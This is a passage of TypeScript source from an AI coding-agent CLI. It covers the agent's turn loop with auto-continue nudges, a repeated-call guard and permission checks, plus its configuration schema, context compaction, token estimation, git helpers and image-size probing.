config.maxAutoContinues),\n };\n this.messages.push(nudge);\n await this.persist(nudge);\n continue;\n }\n yield {\n type: \"error\",\n error: new Error(\"The model returned an empty response after retries; ending the turn.\"),\n };\n return;\n }\n\n const assistantMessage: CoreMessage = {\n role: \"assistant\",\n content: [\n ...(text ? [{ type: \"text\" as const, text }] : []),\n ...toolCalls.map((call) => ({\n type: \"tool-call\" as const,\n toolCallId: call.id,\n toolName: call.name,\n args: call.args,\n })),\n ],\n };\n this.messages.push(assistantMessage);\n await this.persist(assistantMessage);\n\n if (toolCalls.length === 0) {\n // A turn that ends in text only is suspect: weaker models announce\n // work (\"我会…\") instead of calling tools. Escalating signals decide\n // whether to nudge the model onward (bounded by maxAutoContinues,\n // never in plan mode, where a text-only plan is the intended end):\n // open todo items written this turn (deterministic), an ignored\n // previous nudge (behavioral), announcement keywords (heuristic),\n // and finally a semantic completion check by the model itself for\n // turns that used tools but match no keyword.\n let reason: string | null = null;\n let nudgeText = AUTO_CONTINUE_NUDGE;\n if (openTodos.length > 0) {\n reason = `${openTodos.length} todo item(s) still open`;\n nudgeText = `[auto-continue] You ended your turn with unfinished todo item(s): ${openTodos\n .map((t) => `\"${t}\"`)\n .join(\n \", \",\n )}. Complete them now with tool calls, or update the list with todo_write if they are no longer needed.`;\n } else if (lastWasNudge) {\n reason = \"reply still had no tool calls\";\n } else if (PENDING_WORK_PATTERN.test(text)) {\n reason = \"reply announced unfinished work\";\n } else if (usedToolsThisTurn && !signal.aborted) {\n const complete = await checkTaskComplete(this.opts.model, inputText, text, signal);\n if (complete === false) reason = \"completion check reports the task unfinished\";\n }\n if (\n reason !== null &&\n config.permissionMode !== \"plan\" &&\n autoContinues < config.maxAutoContinues\n ) {\n autoContinues++;\n lastWasNudge = true;\n yield {\n type: \"notice\",\n message: `${reason}; asking the model to continue (${autoContinues}/${config.maxAutoContinues}).`,\n };\n const nudge: CoreMessage = {\n role: \"user\",\n content: nudgeText + finalNudgeWarning(autoContinues, config.maxAutoContinues),\n };\n this.messages.push(nudge);\n await this.persist(nudge);\n continue;\n }\n if (reason !== null && config.permissionMode !== \"plan\") {\n // Never stop silently with work pending: say why the turn is ending\n // and how to get it going again.\n yield {\n type: \"notice\",\n message: `${reason}; auto-continue limit reached, handing the turn back — reply \"continue\" to keep going.`,\n };\n }\n await this.runEventHooks(\"Stop\");\n return;\n }\n lastWasNudge = false;\n usedToolsThisTurn = true;\n // Tool calls are real progress: the budget guards against *consecutive*\n // unproductive replies, so a working turn earns its nudges back and a\n // long productive task is no longer cut off mid-way.\n autoContinues = 0;\n\n const answered = new Set<string>();\n try {\n for (const call of toolCalls) {\n if (signal.aborted) break;\n // Doom-loop guard: the same tool called with identical arguments\n // over and over is a model stuck retrying, so past the threshold\n // the repeat is refused without executing. The refusal is persisted\n // as the call's result like any other, keeping history replayable.\n const refusal = this.doomLoopRefusal(call);\n if (refusal !== null) {\n yield { type: \"notice\", message: refusal };\n } else {\n toolExecutedSinceCheckpoint = true;\n }\n const result =\n refusal !== null\n ? { content: refusal, isError: true }\n : await this.executeTool(call, signal);\n const toolMessage: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.id,\n toolName: call.name,\n result: result.content,\n },\n ],\n };\n this.messages.push(toolMessage);\n await this.persist(toolMessage);\n answered.add(call.id);\n if (call.name === \"todo_write\" && !result.isError) {\n openTodos = pendingTodoTitles(call.args);\n }\n yield {\n type: \"tool-result\",\n id: call.id,\n name: call.name,\n content: result.content,\n isError: result.isError,\n };\n }\n } finally {\n // The assistant message carrying these tool calls is already persisted,\n // so every call must be closed with a tool message even when execution\n // is aborted or blows up mid-batch; otherwise the stored history can\n // no longer be sent to the API.\n for (const call of toolCalls) {\n if (answered.has(call.id)) continue;\n const content = signal.aborted\n ? \"Tool execution interrupted by user.\"\n : \"Tool execution interrupted before a result was produced.\";\n const synthetic: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.id,\n toolName: call.name,\n result: content,\n },\n ],\n };\n this.messages.push(synthetic);\n await this.persist(synthetic).catch(() => {});\n yield { type: \"tool-result\", id: call.id, name: call.name, content, isError: true };\n }\n }\n\n if (signal.aborted) return;\n step++;\n }\n }\n\n // The permission mode can change at runtime, so the system message is\n // recomputed at the start of every turn instead of being frozen by the\n // constructor. Also restores a system message after loadMessages() (resume,\n // /model switch) replaced the history with one that has none. Git context\n // (branch, dirty count, recent commits) is refreshed here too, so the model\n // always sees the current repo state; any git failure is silently skipped.\n // Project memory (AGENTS.md in the cwd) and user memory (~/.star-cli/\n // MEMORY.md) are appended as delimited blocks; both cache by mtime, so this\n // stays cheap per turn. The\n // skills listing is refreshed here as well, so skills added mid-session\n // show up in the next turn's system prompt.\n private syncSystemMessage(): void {\n const base = this.opts.system;\n const plan = this.opts.config.permissionMode === \"plan\";\n const parts: string[] = [];\n if (base) parts.push(base);\n if (plan) parts.push(PLAN_MODE_PROMPT.trim());\n const memory = readProjectMemory(this.opts.cwd);\n if (memory) parts.push(memory);\n const userMemory = readUserMemory();\n if (userMemory) parts.push(userMemory);\n const skills = discoverSkills(this.opts.cwd);\n if (skills.length > 0) parts.push(formatSkillsBlock(skills));\n const git = getGitSummaryCached(this.opts.cwd);\n if (git) parts.push(formatGitSummary(git));\n if (parts.length === 0) return;\n const content = parts.join(\"\\n\\n\");\n const head = this.messages[0];\n if (head?.role === \"system\" && typeof head.content === \"string\") {\n if (head.content !== content) head.content = content;\n } else if (head?.role !== \"system\") {\n this.messages.unshift({ role: \"system\", content });\n }\n }\n\n private async applyCompactionSummary(\n compacted: CompactionResult,\n signal?: AbortSignal,\n ): Promise<CoreMessage[]> {\n const { config, model } = this.opts;\n if (config.contextCompaction !== \"summary\" || !model) {\n return compacted.messages;\n }\n const headCount = compacted.messages[0]?.role === \"system\" ? 1 : 0;\n const dropped = this.messages.slice(headCount, headCount + compacted.droppedCount);\n try {\n const summary = await summarizeMessages(dropped, model, signal);\n const messages = compacted.messages.slice();\n messages[headCount] = {\n role: \"user\",\n content: `[earlier conversation summarized]\\n${summary}`,\n };\n return messages;\n } catch {\n return compacted.messages;\n }\n }\n\n private async *streamOnce(\n aiTools: Record<string, unknown>,\n signal: AbortSignal,\n timeoutScale = 1,\n ): AsyncGenerator<StreamEvent> {\n const { streamChat } = await import(\"../llm/stream\");\n for await (const event of streamChat({\n model: this.opts.model,\n messages: this.messages,\n tools: aiTools,\n abortSignal: signal,\n providerMetadata: this.opts.providerMetadata,\n idleTimeoutMs: this.opts.config.streamIdleTimeoutSec * 1000 * timeoutScale,\n firstPartTimeoutMs: this.opts.config.streamFirstChunkTimeoutSec * 1000 * timeoutScale,\n })) {\n // The idle watchdog can end a stream gracefully after content already\n // arrived; surface the cut-off instead of letting a half sentence pass\n // for a complete reply.\n if (event.type === \"finish\" && event.truncated) {\n yield {\n type: \"notice\",\n message:\n \"Response was cut short by the stream idle timeout — the reply may be incomplete.\",\n };\n }\n yield event;\n }\n }\n\n private buildAiTools(): Record<string, unknown> {\n const plan = this.opts.config.permissionMode === \"plan\";\n const tools: Record<string, unknown> = {};\n for (const t of this.opts.registry.list()) {\n // Plan mode hides write/exec tools from the model entirely; the\n // permission gate stays as a backstop for anything still attempted.\n if (plan && t.permission !== \"read\") continue;\n tools[t.name] = aiTool({\n description: t.description,\n parameters: t.parameters as never,\n });\n }\n return tools;\n }\n\n private async runEventHooks(\n event: HookEvent,\n toolName?: string,\n toolInput?: unknown,\n ): Promise<HookRunResult> {\n const empty: HookRunResult = { blocked: false, warnings: [] };\n if (this.opts.config.hooks.length === 0) return empty;\n try {\n const result = await runHooks(event, this.opts.config.hooks, {\n cwd: this.opts.cwd,\n sessionId: this.opts.sessionStore?.id,\n toolName,\n toolInput,\n });\n for (const warning of result.warnings) this.onHookWarning?.(warning);\n return result;\n } catch {\n // Hooks are best-effort by design: a broken hook must never crash a turn.\n return empty;\n }\n }\n\n // opencode's doom_loop guard: returns a refusal once the identical tool\n // call (name + stable-serialized args) has repeated config.doomLoopThreshold\n // times in a row; 0 disables. Any different signature resets the streak.\n // Subagents are separate loop instances, so each counts its own streak.\n private doomLoopRefusal(call: PendingToolCall): string | null {\n const threshold = this.opts.config.doomLoopThreshold;\n if (threshold <= 0) return null;\n const signature = `${call.name} ${stableStringify(call.args)}`;\n if (signature === this.lastToolSignature) {\n this.repeatedToolCalls += 1;\n } else {\n this.lastToolSignature = signature;\n this.repeatedToolCalls = 1;\n }\n if (this.repeatedToolCalls < threshold) return null;\n return `Refused: tool \"${call.name}\" was called ${this.repeatedToolCalls} times in a row with identical arguments. Stop retrying it — change your approach or report that you are blocked.`;\n }\n\n private async executeTool(call: PendingToolCall, signal: AbortSignal): Promise<ToolResult> {\n const { registry, config, cwd } = this.opts;\n const tool = registry.get(call.name);\n if (!tool) {\n return { content: `Unknown tool: ${call.name}`, isError: true };\n }\n\n const decision = checkPermission(\n config.permissionMode,\n { toolName: call.name, args: call.args, level: tool.permission },\n { cwd },\n config.permissions.allow,\n config.permissions.deny,\n );\n\n if (decision === \"deny\") {\n return { content: `Permission denied for tool \"${call.name}\".`, isError: true };\n }\n if (decision === \"ask\") {\n let approved = false;\n try {\n approved = this.confirmHandler\n ? await this.confirmHandler({\n toolName: call.name,\n args: call.args,\n level: tool.permission,\n })\n : false;\n } catch {\n approved = false;\n }\n if (!approved) {\n return { content: `User rejected tool \"${call.name}\".`, isError: true };\n }\n }\n\n const parsed = tool.parameters.safeParse(call.args);\n if (!parsed.success) {\n return { content: `Invalid arguments: ${parsed.error.message}`, isError: true };\n }\n\n const pre = await this.runEventHooks(\"PreToolUse\", call.name, call.args);\n if (pre.blocked) {\n return {\n content: `Tool \"${call.name}\" blocked by a PreToolUse hook: ${pre.reason}`,\n isError: true,\n };\n }\n\n let result: ToolResult;\n try {\n result = await tool.execute(parsed.data, {\n cwd,\n abortSignal: signal,\n snapshotContext: {\n owner: (this.opts.subagentDepth ?? 0) > 0 ? \"subagent\" : \"root\",\n turn: this.activeTurnSeq,\n messageIndex: this.activeTurnUserIndex,\n },\n });\n } catch (error) {\n if (signal.aborted) {\n return { content: \"Tool execution aborted.\", isError: true };\n }\n return {\n content: `Tool error: ${error instanceof Error ? error.message : String(error)}`,\n isError: true,\n };\n }\n\n if (!result.isError) {\n await this.runEventHooks(\"PostToolUse\", call.name, call.args);\n }\n return result;\n }\n}\n","import { z } from \"zod\";\n\nexport const ProviderConfigSchema = z.object({\n name: z.string(),\n // openai-responses talks to the Responses API (/responses) instead of chat\n // completions — the wire format codex uses, and the native API of\n // reasoning-model relays that otherwise hide reasoning behind empty chat\n // completions. streamChat sends strictSchemas:false + store:false with it.\n protocol: z\n .enum([\"openai-compatible\", \"anthropic\", \"openai-responses\"])\n .default(\"openai-compatible\"),\n baseURL: z.string(),\n apiKeyEnv: z.string().optional(),\n apiKey: z.string().optional(),\n headers: z.record(z.string()).optional(),\n});\n\nexport const ModelConfigSchema = z.object({\n name: z.string(),\n provider: z.string(),\n model: z.string(),\n maxTokens: z.number().int().positive().optional(),\n // Per-model context window; overrides the top-level contextMaxTokens for\n // compaction and the status bar when set.\n contextMaxTokens: z.number().int().positive().optional(),\n // Reasoning intensity for thinking models, forwarded verbatim as\n // OpenAI-style reasoning_effort on every request (llm/provider.ts\n // reasoningEffortMetadata) — level naming varies by model/provider\n // (low|medium|high are common; some add minimal/max/xhigh/none), so any\n // non-empty string is accepted and the server validates it. Unset = the\n // request carries no effort field and the server-side default applies.\n // Anthropic maps effort to a thinking budget instead — ignored there.\n reasoningEffort: z.string().min(1).optional(),\n // Cost estimation needs BOTH prices (USD per 1M tokens); with only one set\n // the model is treated as unpriced.\n promptPrice: z.number().nonnegative().optional(),\n completionPrice: z.number().nonnegative().optional(),\n // Optional price (USD per 1M tokens) for cache-read prompt tokens. When\n // unset, OpenAI-style cached tokens bill at promptPrice and Anthropic-style\n // cache reads are not billed — set this for accurate cache pricing.\n cacheReadPrice: z.number().nonnegative().optional(),\n});\n\nexport const PermissionsConfigSchema = z.object({\n allow: z.array(z.string()).default([]),\n deny: z.array(z.string()).default([]),\n});\n\nexport const HookConfigSchema = z.object({\n event: z.enum([\"PreToolUse\", \"PostToolUse\", \"Stop\"]),\n matcher: z\n .string()\n .refine(\n (pattern) => {\n try {\n new RegExp(pattern);\n return true;\n } catch {\n return false;\n }\n },\n { message: \"invalid regular expression\" },\n )\n .optional(),\n command: z.string().min(1),\n timeoutSec: z.number().positive().default(30),\n});\n\nexport const ConfigSchema = z.object({\n defaultModel: z.string().default(\"\"),\n permissionMode: z.enum([\"auto\", \"ask\", \"readonly\", \"yolo\", \"plan\"]).default(\"ask\"),\n providers: z.array(ProviderConfigSchema).default([]),\n models: z.array(ModelConfigSchema).default([]),\n // Cap on model round-trips (\"steps\") per turn between progress checkpoints.\n // One step is a streamed reply plus every tool call it asked for — stream\n // retries and auto-continue nudges do not consume steps. Reaching the cap\n // while tools still execute resets the budget with a notice; the turn stops\n // only when no tool ran since the last checkpoint (the doom-loop\n // signature). 0 disables the cap entirely (opencode/codex have none).\n maxSteps: z.number().int().min(0).default(100),\n contextMaxTokens: z.number().int().positive().default(100_000),\n // Token threshold at which the agent loop auto-compacts the history.\n // Defaults to the effective context window (compact only when full); set a\n // lower value to compact earlier and keep headroom. Manual /compact ignores\n // this — it always compacts.\n compactThresholdTokens: z.number().int().positive().optional(),\n // Seconds without any stream part before a stalled response is ended\n // gracefully (some relays never send the terminal chunks). Applies once\n // streaming has started; the first part gets a longer, fixed allowance.\n streamIdleTimeoutSec: z.number().positive().default(20),\n // Seconds to wait for the very first stream part before giving up; slow\n // thinking-model relays can buffer for minutes before sending anything.\n streamFirstChunkTimeoutSec: z.number().positive().default(300),\n // Extra attempts per model request when a stream fails transiently\n // (network error, 429/5xx, idle watchdog cutoff) or comes back empty, so a\n // relay hiccup does not silently end a half-finished turn. 0 disables.\n // The wait between attempts honors Retry-After headers and otherwise backs\n // off exponentially with jitter (llm/retry.ts); retries after a\n // timeout/empty failure also scale both stream timeouts up (attempt number\n // ×, capped at 3x) since the relay is likely overloaded. Default 5 matches\n // opencode/Codex retry budgets and rides out flaky relays (中转站) better\n // than a minimal budget.\n streamMaxRetries: z.number().int().min(0).default(5),\n // How many consecutive unproductive replies may be nudged before the turn\n // is handed back: a text-only reply that announces pending work (\"我将…\",\n // \"I will…\") or answers a nudge with more words, or an empty reply that\n // survived the stream retry budget (steered with a nudge — a changed\n // request — since identical resends already failed). Tool calls reset the\n // count, so a productive task keeps going; exhaustion surfaces a notice\n // instead of stopping silently. Never fires in plan mode. 0 disables.\n maxAutoContinues: z.number().int().min(0).default(2),\n contextCompaction: z.enum([\"summary\", \"truncate\"]).default(\"summary\"),\n // Optional per-session dollar budget; when set, the REPL stops the session\n // once the estimated cost for the session reaches this amount.\n sessionBudgetUsd: z.number().positive().optional(),\n // Terminal bell (REPL only): ring when a turn takes longer than\n // notifyBellThresholdSec, and when a background task finishes.\n // STAR_NO_NOTIFY=1 disables without touching the config.\n notifyBell: z.boolean().default(true),\n notifyBellThresholdSec: z.number().positive().default(10),\n permissions: PermissionsConfigSchema.default({ allow: [], deny: [] }),\n hooks: z.array(HookConfigSchema).default([]),\n // Consecutive identical tool calls (same tool + same arguments) allowed\n // before the loop refuses to execute the repeat and tells the model to\n // change approach — a guard against agents stuck retrying a failing call\n // (opencode's doom_loop). 0 disables.\n doomLoopThreshold: z.number().int().min(0).default(3),\n // Track the whole working tree with an internal git repo (outside the\n // user's .git) at every turn boundary, so /undo and /redo can restore\n // changes made by ANY tool (bash included), not just write_file/edit_file.\n // Falls back silently to per-file snapshots when git is unavailable.\n gitSnapshots: z.boolean().default(true),\n});\n\nexport type ProviderConfig = z.infer<typeof ProviderConfigSchema>;\nexport type ModelConfig = z.infer<typeof ModelConfigSchema>;\nexport type PermissionsConfig = z.infer<typeof PermissionsConfigSchema>;\nexport type HookConfig = z.infer<typeof HookConfigSchema>;\nexport type StarConfig = z.infer<typeof ConfigSchema>;\n\n// Effective context window for a model: its own contextMaxTokens when set,\n// otherwise the top-level config.contextMaxTokens.\nexport function contextWindowTokens(config: StarConfig, modelName: string): number {\n return (\n config.models.find((m) => m.name === modelName)?.contextMaxTokens ?? config.contextMaxTokens\n );\n}\n\n// Token threshold that triggers automatic compaction in the agent loop:\n// config.compactThresholdTokens when set, clamped to the window so a stale\n// value (e.g. after switching to a smaller model) never pushes compaction\n// past it; otherwise the window itself (current behavior).\nexport function resolveCompactThreshold(config: StarConfig, windowTokens: number): number {\n return Math.min(config.compactThresholdTokens ?? windowTokens, windowTokens);\n}\n\nexport interface CliOverrides {\n model?: string;\n permissionMode?: \"auto\" | \"ask\" | \"readonly\" | \"yolo\" | \"plan\";\n}\n","import { type LanguageModelV1, generateText } from \"ai\";\nimport type { CoreMessage } from \"../core/messages\";\nimport { estimateTokens } from \"./tokens\";\n\nexport interface CompactionResult {\n messages: CoreMessage[];\n compacted: boolean;\n droppedCount: number;\n}\n\nconst MIN_KEPT_MESSAGES = 4;\n\nfunction placeholderMessage(droppedCount: number): CoreMessage {\n return {\n role: \"user\",\n content: `[context compacted: ${droppedCount} earlier messages dropped]`,\n };\n}\n\nconst SUMMARY_SYSTEM_PROMPT = [\n \"You are summarizing an AI coding agent's conversation for context compaction.\",\n \"Write a concise summary that preserves:\",\n \"- the user's goals and requests\",\n \"- decisions made and their rationale\",\n \"- files and code touched (paths, key changes)\",\n \"- tool results that matter (errors, key outputs)\",\n \"- outstanding TODOs and next steps\",\n \"Output only the summary, no preamble.\",\n].join(\"\\n\");\n\nfunction serializeMessage(message: CoreMessage): string {\n if (typeof message.content === \"string\") {\n return `${message.role}: ${message.content}`;\n }\n const parts = message.content.map((part) => {\n if (part.type === \"text\") return part.text;\n if (part.type === \"tool-call\")\n return `[tool-call ${part.toolName}] ${JSON.stringify(part.args)}`;\n if (part.type === \"tool-result\")\n return `[tool-result ${part.toolName}] ${JSON.stringify(part.result)}`;\n return `[${part.type}]`;\n });\n return `${message.role}: ${parts.join(\"\\n\")}`;\n}\n\nexport async function summarizeMessages(\n messages: CoreMessage[],\n model: LanguageModelV1,\n signal?: AbortSignal,\n): Promise<string> {\n const transcript = messages.map(serializeMessage).join(\"\\n\");\n const { text } = await generateText({\n model,\n system: SUMMARY_SYSTEM_PROMPT,\n prompt: `Summarize this conversation so far:\\n\\n${transcript}`,\n // A hung relay must not stall the whole turn on the summary: cap it at\n // 60s and let the caller's abort (Esc) cut it short as well; the caller\n // falls back to the truncation placeholder on any failure.\n abortSignal: signal\n ? AbortSignal.any([signal, AbortSignal.timeout(60_000)])\n : AbortSignal.timeout(60_000),\n });\n return text.trim();\n}\n\nexport interface CompactOptions {\n // Manual /compact: compact even when under the token budget, dropping whole\n // turns down to MIN_KEPT_MESSAGES instead of refusing. Auto-compaction in\n // the agent loop never forces.\n force?: boolean;\n}\n\nexport function compactMessages(\n messages: CoreMessage[],\n maxTokens: number,\n opts: CompactOptions = {},\n): CompactionResult {\n // Forced compaction uses a zero budget: the under-budget exits below never\n // fire, so turns are dropped until only MIN_KEPT_MESSAGES would remain.\n const limit = opts.force ? 0 : maxTokens;\n if (estimateTokens(messages) <= limit) {\n return { messages, compacted: false, droppedCount: 0 };\n }\n\n const first = messages[0];\n const hasSystem = first?.role === \"system\";\n const head = hasSystem && first ? [first] : [];\n const rest = hasSystem ? messages.slice(1) : messages.slice();\n\n const turns: CoreMessage[][] = [];\n for (const message of rest) {\n const current = turns[turns.length - 1];\n if (message.role === \"user\" || !current) {\n turns.push([message]);\n } else {\n current.push(message);\n }\n }\n\n let droppedCount = 0;\n let turnIndex = 0;\n while (turnIndex < turns.length) {\n const turn = turns[turnIndex] as CoreMessage[];\n if (rest.length - droppedCount - turn.length < MIN_KEPT_MESSAGES) {\n break;\n }\n droppedCount += turn.length;\n turnIndex += 1;\n const candidate = [...head, placeholderMessage(droppedCount), ...rest.slice(droppedCount)];\n if (estimateTokens(candidate) <= limit) {\n break;\n }\n }\n\n if (droppedCount === 0) {\n return { messages, compacted: false, droppedCount: 0 };\n }\n\n return {\n messages: [...head, placeholderMessage(droppedCount), ...rest.slice(droppedCount)],\n compacted: true,\n droppedCount,\n };\n}\n","import type { CoreMessage } from \"../core/messages\";\n\nconst CHARS_PER_TOKEN = 4;\nconst MESSAGE_OVERHEAD = 4;\nconst IMAGE_PART_TOKENS = 1024;\n\n// CJK characters map to roughly one token each, while Latin text averages\n// ~4 chars/token. Weight a CJK char as CHARS_PER_TOKEN units so the final\n// division lands near 1 token/char — otherwise Chinese-heavy conversations\n// are underestimated ~4x. Ranges: CJK punctuation, kana, ext-A, unified\n// ideographs, compat ideographs, fullwidth forms.\nconst CJK_RE = /[\\u3000-\\u30FF\\u3400-\\u4DBF\\u4E00-\\u9FFF\\uF900-\\uFAFF\\uFF00-\\uFFEF]/;\n\nfunction textWeight(text: string): number {\n let cjk = 0;\n for (const ch of text) {\n if (CJK_RE.test(ch)) cjk++;\n }\n return text.length + cjk * (CHARS_PER_TOKEN - 1);\n}\n\nfunction contentCharLength(message: CoreMessage): number {\n if (message.role === \"tool\") {\n let chars = 0;\n for (const part of message.content) {\n chars += textWeight(JSON.stringify(part.result ?? null));\n }\n return chars;\n }\n if (typeof message.content === \"string\") {\n return textWeight(message.content);\n }\n let chars = 0;\n for (const part of message.content) {\n if (part.type === \"text\" || part.type === \"reasoning\") {\n chars += textWeight(part.text);\n } else if (part.type === \"tool-call\") {\n chars += textWeight(part.toolName) + textWeight(JSON.stringify(part.args ?? null));\n }\n }\n return chars;\n}\n\nfunction imagePartCount(message: CoreMessage): number {\n if (typeof message.content === \"string\" || message.role === \"tool\") return 0;\n return message.content.filter((part) => part.type === \"image\" || part.type === \"file\").length;\n}\n\nexport function estimateMessageTokens(message: CoreMessage): number {\n return (\n Math.ceil(contentCharLength(message) / CHARS_PER_TOKEN) +\n MESSAGE_OVERHEAD +\n imagePartCount(message) * IMAGE_PART_TOKENS\n );\n}\n\nexport function estimateTokens(messages: CoreMessage[]): number {\n return messages.reduce((total, message) => total + estimateMessageTokens(message), 0);\n}\n","import { execFileSync } from \"node:child_process\";\n\nconst GIT_TIMEOUT_MS = 2000;\nconst GIT_MAX_BUFFER = 8 * 1024 * 1024;\n\nexport const COMMIT_DIFF_MAX_LINES = 2000;\nexport const WORKING_DIFF_MAX_LINES = 2000;\n\n// Synchronous by design: callers (system-prompt sync, slash commands) need the\n// result inline. Every failure — not a repo, git missing, timeout, oversized\n// output — returns null so the agent can never crash on git state.\nexport function runGit(args: string[], cwd: string): string | null {\n try {\n const out = execFileSync(\"git\", args, {\n cwd,\n timeout: GIT_TIMEOUT_MS,\n encoding: \"utf8\",\n maxBuffer: GIT_MAX_BUFFER,\n stdio: [\"ignore\", \"pipe\", \"ignore\"],\n });\n return out.replace(/\\n$/, \"\");\n } catch {\n return null;\n }\n}\n\nexport function isGitRepo(cwd: string): boolean {\n return runGit([\"rev-parse\", \"--is-inside-work-tree\"], cwd) === \"true\";\n}\n\nexport interface GitSummary {\n branch: string;\n dirtyCount: number;\n recentCommits: string[];\n}\n\nexport function getGitSummary(cwd: string): GitSummary | null {\n const branch = runGit([\"rev-parse\", \"--abbrev-ref\", \"HEAD\"], cwd);\n if (branch === null) return null;\n const status = runGit([\"status\", \"--porcelain\"], cwd) ?? \"\";\n const dirtyCount = status === \"\" ? 0 : status.split(\"\\n\").length;\n const log = runGit([\"log\", \"--oneline\", \"-3\"], cwd) ?? \"\";\n return { branch, dirtyCount, recentCommits: log === \"\" ? [] : log.split(\"\\n\") };\n}\n\nconst GIT_SUMMARY_CACHE_TTL_MS = 15_000;\n\nconst gitSummaryCache = new Map<string, { at: number; summary: GitSummary | null }>();\n\n// System-prompt sync calls getGitSummary every turn — in every loop, including\n// each subagent's — and the underlying sync git calls block the event loop for\n// up to the 2s timeout, so summaries are cached per cwd for a short TTL.\n// Failures (null) are cached too: a plain directory rarely turns into a repo\n// within 15s, and re-probing one every turn is the common case outside repos.\nexport function getGitSummaryCached(cwd: string): GitSummary | null {\n const now = Date.now();\n const hit = gitSummaryCache.get(cwd);\n if (hit && now - hit.at < GIT_SUMMARY_CACHE_TTL_MS) return hit.summary;\n const summary = getGitSummary(cwd);\n gitSummaryCache.set(cwd, { at: now, summary });\n return summary;\n}\n\n// Test hook: drop all cached summaries so the next call shells out to git.\nexport function resetGitSummaryCache(): void {\n gitSummaryCache.clear();\n}\n\nexport function formatGitSummary(summary: GitSummary): string {\n const lines = [\n \"Git context for the working directory (refreshed each turn):\",\n `Branch: ${summary.branch}`,\n summary.dirtyCount === 0\n ? \"Working tree: clean\"\n : `Working tree: ${summary.dirtyCount} file(s) with uncommitted changes`,\n ];\n if (summary.recentCommits.length > 0) {\n lines.push(\"Recent commits:\", ...summary.recentCommits);\n }\n return lines.join(\"\\n\");\n}\n\nexport function truncateLines(\n text: string,\n maxLines: number,\n): { text: string; truncated: boolean } {\n const lines = text.split(\"\\n\");\n if (lines.length <= maxLines) return { text, truncated: false };\n return { text: lines.slice(0, maxLines).join(\"\\n\"), truncated: true };\n}\n\nfunction collectDiffs(cwd: string): { staged: string; unstaged: string } {\n return {\n staged: runGit([\"diff\", \"--cached\"], cwd) ?? \"\",\n unstaged: runGit([\"diff\"], cwd) ?? \"\",\n };\n}\n\nexport interface CommitContext {\n status: string;\n diff: string;\n diffTruncated: boolean;\n recentLog: string;\n}\n\n// null means nothing to commit (clean tree). Untracked files still count:\n// they show up in the status even though `git diff` has no output for them.\nexport function collectCommitContext(cwd: string): CommitContext | null {\n if (!isGitRepo(cwd)) return null;\n const status = runGit([\"status\", \"--short\"], cwd) ?? \"\";\n const { staged, unstaged } = collectDiffs(cwd);\n if (status === \"\" && staged === \"\" && unstaged === \"\") return null;\n const rawDiff = [staged, unstaged].filter((part) => part !== \"\").join(\"\\n\");\n const { text: diff, truncated } = truncateLines(rawDiff, COMMIT_DIFF_MAX_LINES);\n const recentLog = runGit([\"log\", \"--oneline\", \"-5\"], cwd) ?? \"\";\n return { status, diff, diffTruncated: truncated, recentLog };\n}\n\nexport function buildCommitPrompt(context: CommitContext, instructions = \"\"): string {\n const parts = [\n \"Analyze the uncommitted git changes below and create a commit for them.\",\n \"\",\n \"Requirements:\",\n \"- Draft a commit message in Conventional Commits style (e.g. `feat(scope): summary`), consistent with the repository's recent commit history.\",\n \"- Stage the relevant files and create the commit with the bash tool (`git add` + `git commit`), through the normal permission flow.\",\n \"- Do not push and do not amend existing commits.\",\n \"- After committing, briefly report the commit hash and message.\",\n ];\n if (instructions) {\n parts.push(\"\", `Additional instructions from the user: ${instructions}`);\n }\n parts.push(\"\", \"## git status --short\", \"```\", context.status || \"(clean)\", \"```\");\n if (context.recentLog) {\n parts.push(\"\", \"## recent commits (git log --oneline -5)\", \"```\", context.recentLog, \"```\");\n }\n if (context.diff) {\n parts.push(\"\", \"## git diff (staged + unstaged)\", \"```diff\", context.diff, \"```\");\n if (context.diffTruncated) {\n parts.push(`(diff truncated to ${COMMIT_DIFF_MAX_LINES} lines)`);\n }\n }\n return parts.join(\"\\n\");\n}\n\nexport interface WorkingDiff {\n status: string;\n diff: string;\n truncated: boolean;\n}\n\nexport function collectWorkingDiff(cwd: string): WorkingDiff | null {\n if (!isGitRepo(cwd)) return null;\n const status = runGit([\"status\", \"--short\"], cwd) ?? \"\";\n const { staged, unstaged } = collectDiffs(cwd);\n const sections: string[] = [];\n if (staged) sections.push(`# Staged changes\\n${staged}`);\n if (unstaged) sections.push(`# Unstaged changes\\n${unstaged}`);\n const { text, truncated } = truncateLines(sections.join(\"\\n\"), WORKING_DIFF_MAX_LINES);\n return { status, diff: text, truncated };\n}\n","import { responseBodyOf } from \"./http-error\";\nimport type { CoreMessage } from \"./messages\";\n\n// Images with a longer side above this many pixels are downsampled before\n// being sent (clipboard/@mention paths) and stripped on retry when a provider\n// rejects them.\nexport const MAX_IMAGE_DIMENSION = 2000;\n// Byte-size fallback for images whose dimensions cannot be probed.\nexport const OVERSIZED_IMAGE_FALLBACK_BYTES = 5 * 1024 * 1024;\nexport const IMAGE_REMOVED_PLACEHOLDER = \"[image removed: too large for the model]\";\n\nexport interface ImageDimensions {\n width: number;\n height: number;\n}\n\nconst PNG_SIGNATURE = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a];\n\nfunction probePng(buf: Buffer): ImageDimensions | null {\n if (buf.length < 24) return null;\n for (let i = 0; i < PNG_SIGNATURE.length; i++) {\n if (buf[i] !== PNG_SIGNATURE[i]) return null;\n }\n if (buf.toString(\"ascii\", 12, 16) !== \"IHDR\") return null;\n return { width: buf.readUInt32BE(16), height: buf.readUInt32BE(20) };\n}\n\n// Start-of-frame markers that carry dimensions (excludes DHT/JPG/DAC/RST).\nconst JPEG_SOF_MARKERS = new Set([\n 0xc0, 0xc1, 0xc2, 0xc3, 0xc5, 0xc6, 0xc7, 0xc9, 0xca, 0xcb, 0xcd, 0xce, 0xcf,\n]);\n\nfunction probeJpeg(buf: Buffer): ImageDimensions | null {\n if (buf.length < 4 || buf[0] !== 0xff || buf[1] !== 0xd8) return null;\n let offset = 2;\n while (offset + 3 < buf.length) {\n if (buf[offset] !== 0xff) return null;\n const marker = buf[offset + 1];\n if (marker === undefined) return null;\n if (marker === 0xd8 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd7)) {\n offset += 2;\n continue;\n }\n const length = buf.readUInt16BE(offset + 2);\n if (length < 2) return null;\n if (JPEG_SOF_MARKERS.has(marker)) {\n if (offset + 9 > buf.length) return null;\n return { height: buf.readUInt16BE(offset + 5), width: buf.readUInt16BE(offset + 